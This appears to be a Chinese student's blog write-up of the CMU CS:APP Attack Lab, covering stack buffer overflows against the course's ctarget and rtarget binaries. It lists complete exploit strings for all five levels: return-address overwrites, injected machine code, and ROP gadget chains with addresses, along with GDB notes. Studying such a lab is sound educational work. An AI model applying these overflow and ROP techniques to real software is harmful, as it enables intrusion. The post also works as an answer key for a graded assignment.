[toc]
第五章程序优化看了大半,看累了。晚上孟爷爷在卷不陪我打 CSGO,于是就开始尝试 Lab3: Attack Lab
Attack Lab 介绍
这次的 lab 有 14 页的英文文档,里面是题目的要求,也包含解题指导。相比 4 页的 Bomb lab,对读文档的耐心要求更高了,第一天晚上的时间都用来了读文档和搭建实验环境,这次搭建实验环境还遇到了点小坑。
lab 是输入攻击字符串,实现调用函数等目的,包含了对栈破坏,注入代码,ROP 攻击等方法
tar -xvf target1.tar
cp -r target1 attack
cd attack/
首先是 hex2raw
工具的使用,它可以把可见的十六进制字节码转化成攻击代码(大概我猜应该就是二进制代码了,很多字符是不可打印的)。并且工具支持 C 风格注释
使用效果如下:
然后实验总共有 5 关,前 3 关是攻击 ctarget
,后 2 关是攻击 rtarget
:
这里运行 ./ctarget -q
要用 -q
,毕竟不是 CMU 的学生,-q
的作用: Don’t send results to the grading server
。
然后我发现好像不太对,正常应该是提示输入字符串的,而这里直接 RE 崩溃了。我猜可能是我用的是最新的 ubuntu22.04
,可能这种不安全的代码已经无法运行了(程序应该使用了某种手段关闭了栈随机化和栈代码不可执行)。于是我切换到腾讯云服务器,在 ubuntu20.04
上能够正常运行,遂迁移实验环境,尝试 Vscode 的 SFTP 插件又折腾了一会:
首先还是老规矩:
objdump -d ctarget > ctarget.asm
第一关
观察 getbuf
的汇编代码,可以发现 getbuf
栈帧分配了 0x28
字节的空间,也就是 40 个字节
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
call gets
后可以触发缓冲区溢出漏洞,当覆盖完 40 个字节后,就会覆盖返回地址,这时候我们把返回地址设为 touch1
函数的起始地址即可
(注意使用小端序,地址要反序)
52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
可以看到我们成功 PASS 了
上面的图开始的部分全填充了0,为了凸显个性,我填成 52 也没毛病
实验才开始,我们来使用 GDB 观察一下具体运行状况,攻击是如何产生的
可以看到,我们在 0x5561dca0
成功放入了希望的东西( touch1
函数的地址)
第二关
第二关要求跳到 touch2
,并且函数传入一个整型参数,参数得为 cookie
的值。不管了,先用第一关的方法直接跳转试一下
52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00
好,FAIL
是必然的,我们需要往 %rdi
中写入 cookie
,再实现跳转
但关键问题来了,我只能操控它 ret
的返回地址,怎么才能让它执行代码呢?
原来可以把代码注入到栈中,让ret
的时候返回到注入代码的起始地址,这样就能实现代码注入了!
关于如何生成注入代码的字节码,需要参考文档的附录B,也就像下面这样:
movq $0x59b997fa, %rdi
pushq $0x4017ec
retq
把上面的代码保存为 so2.s
,然后
gcc -c sol2.s
objdump -d sol2.o > sol2.asm
如下左边就是汇编代码对应的字节码
sol2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
最后 input2.txt
如下:
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa, %rdi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
哈哈?,又 RE了,
GDB 调试看一下,
GDB 观察,发现少填充了4个字节,修改后如下:
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa, %rdi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
52 52 52 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
Nice,成功 PASS
再 GDB 观察一下胜利战果
可以看到执行代码 in ?? ()
,执行的是我们注入的代码,可惜无法 disas
看看
第三关
第三关要求跳转到 touch3
,并且传入一个字符串指针,指向的字符串为 cookie
的值。它 hexmatch
check 的时候它会根据 cookie
产生一个新字符串,其起始地址是随机的,不过问题不大,只要你传入的 sval
的字符串是 cookie
的值就没问题了。
有了前两关的经验,既然 ret
可以随意操控,我想着不如直接绕过检测,直接跳到这里
GDB 调试会发现通不过 validate(3)
,哈哈,果真naive了?
那么字符串放哪里是一个问题,一开始尝试把字符串放在 getbuf
栈帧最顶部的位置,希望下次调用的时候不会 overwrite
35 39 62 39 39 37 66 61 00
48 c7 c7 78 dc 61 55 /* movq $0x5561dc78, %rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
52 52 52 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
81 dc 61 55 00 00 00 00
不过还是通不过,GDB来看看原因
算得很准确,从0x5561dc81
开始是注入代码
草,字符串开始受到影响
好了,字符串的值被彻底破坏了
我在检测代码里面甚至看到了书上所说的“金丝雀”代码
回到字符串放置的问题,放 getbuf
里面肯定是不安全的,validate
的时候栈帧分配会覆盖掉字符串 ,那该怎么办呢?答案应该是放在 test
函数(调用者函数)的栈帧里。
哦,我知道为啥RE了,地址位宽没有留够,地址应该是64位的,8个字节
WOC,终于过了第三关了
48 c7 c7 a8 dc 61 55 /* movq $0x5561dca8, %rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
52 52 52 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00 /* cookie: 59b997fa */
(cookie 放返回地址后面,就放在了上一个函数的栈帧里)
第四关
好,从第四关开始,将使用 rtarget
,攻击方式不再是 Code Injection,而是 Return-Oriented Programming(ROP)
- It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.
同时会使用栈随机化和栈代码不可执行的保护机制,使得原来的方法不再凑效
可以看到果真使用了栈随机化
ROP 的攻击就是使用一系列所谓的 gadget
代码,代码的末尾需要是 ret
,这样才能执行下一条 gadget
代码。gadget
是程序代码中已经存在的,但我们可以断章取义,通过截取部分指令代码来实现酷炫攻击效果(因为指令字节码是变长的,如果截取部分,意义可能大有不同)。把一系列的 gadget
拼凑在一起,或许期望的效果就实现了。下面这是ROP
攻击原理图:
而出题者故意给我们攻击创造了很好的条件,farm.c
中就有很多 gadget
函数的源代码,一开始你还会疑惑这么多奇怪而没用的函数是干什么用的,就是作为 gadget
代码的材料!
这里第四关我们需要实现第二关的效果。思路就是把 cookie
压倒栈上,再想办法挪到 %rdi
里。
期望找到 5f 的指令,但没有这么现成的
可以找到 pop %rax
也能找到 mov rax, rdi
拼凑后如下:
52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /* pop rax */
fa 97 b9 59 00 00 00 00 /* cookie: 59b997fa */
c5 19 40 00 00 00 00 00 /* rdi <- rax */
ec 17 40 00 00 00 00 00 /* address of function touch2 */
Nice,有了之前踩过坑的经历(返回地址是8个字节,小端序记着反序),一次成功!
第五关
第5关,要求用 ROP 复现第3关的要求
这个实现有些复杂了,甚至 CMU 教授在手册里面劝学生可以放弃了,完成前4关你已经可以得到95的实验好分数了。我谈一下思考思路吧
首先字符串得存进去,有第三关的经验我们知道肯定只能放在“栈底”(不能被 validate 函数的栈帧覆盖掉),换句话说字符串得放在 touch3
函数地址的后面,否则会被破坏。由于栈是随机化的,起始地址不固定,那么该如何搞到字符串的地址呢?思索下应该知道必须读 %rsp
寄存器的值。而且要想得到字符串的地址,必须要 %rsp
加上一个偏移量才能得到。然而手册给的字节码表里面就是没有 add
指令,这让我产生大大的问好。通过看了下网上的做法,真有从 gadget
里截取找到了 add $0x37, %al
这样指令的做法,不过我觉得比较有道理的是用 gadget
里面的add_xy
现成的函数,并且它是里面唯一有注释的(划重点暗示?)
这个 add_xy 函数有大用处
有 add_xy
函数后,它有两个参数 rdi
和 rsi
,我们需要一个参数放 rsp
的值,一个参数放偏移量 offset
,先试着把 rdi
里放 rsp
的值
找到了 mov rax rdi
mov rsp, rax
也可以办到
这是 pop rax
期望能有传到 %rsi 的寄存器,可惜搜索汇编代码后一个都没有
那就尝试传到 %esi
寄存器
找到 mov ecx, esi
顺藤摸瓜,再找谁能传到 ecx
,发现mov edx, ecx
可以办到,后两个 38 c9
称作 functional nops
继续顺藤摸瓜,好,mov eax, edx
,perfect,这样 eax
里的 offset
就能运出来啦
下面是草稿本上的思考过程与笔记:
Nice,一次正确,终于顺利通过了 Attack Lab
完整注入代码+注释,经过这么多磨砺,对地址的理解也更精准了,字符串偏移量 offset
一次算对
手敲字节码真是有趣啊?
52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* rax <- rsp */
a2 19 40 00 00 00 00 00 /* rdi <- rax */
cc 19 40 00 00 00 00 00 /* pop rax */
48 00 00 00 00 00 00 00 /* offset = 9 * 8 = 72 */
dd 19 40 00 00 00 00 00 /* edx <- eax */
34 1a 40 00 00 00 00 00 /* ecx <- edx */
13 1a 40 00 00 00 00 00 /* esi <- ecx */
d6 19 40 00 00 00 00 00 /* rax <- rdi + rsi */
a2 19 40 00 00 00 00 00 /* rdi <- rax */
fa 18 40 00 00 00 00 00 /* address of function touch3 */
35 39 62 39 39 37 66 61 00 /* cookie: 59b997fa */
总结
- hex2raw 真是个神奇的工具,能将可见的字节码(byte codes)转化成不可见的注入代码(injection codes)。实验环境也给了挑战者充分的自由空间,答案思路往往不止一种,再转化成注入代码可能性就更多了,不得不赞叹 CMU 教授的水平。
- 相比 bomb 实验,14 页的英文手册需要更长的阅读时间,但读手册你能体会到和 CMU 巨擘教授交流的快乐,手册中除了实验要求,还提供了实验工具使用指导,实验提示和建议。循循善诱,
gadgets
的准备和手册上的图表都可以看到教授的良苦用心。 - 终于真实体验了传说中的缓冲区溢出攻击,感受到了字节码的魅力。整个攻击过程都基于 2 点:
gets()
函数提供了缓冲区溢出的漏洞,让攻击成为了可能ret
指令是执行恶意代码的开始,通过ret
指令和栈相互配合,能够达到执行从未设想过的代码的效果,cool
哇,写了这么多,好累呀,3519个词?
评论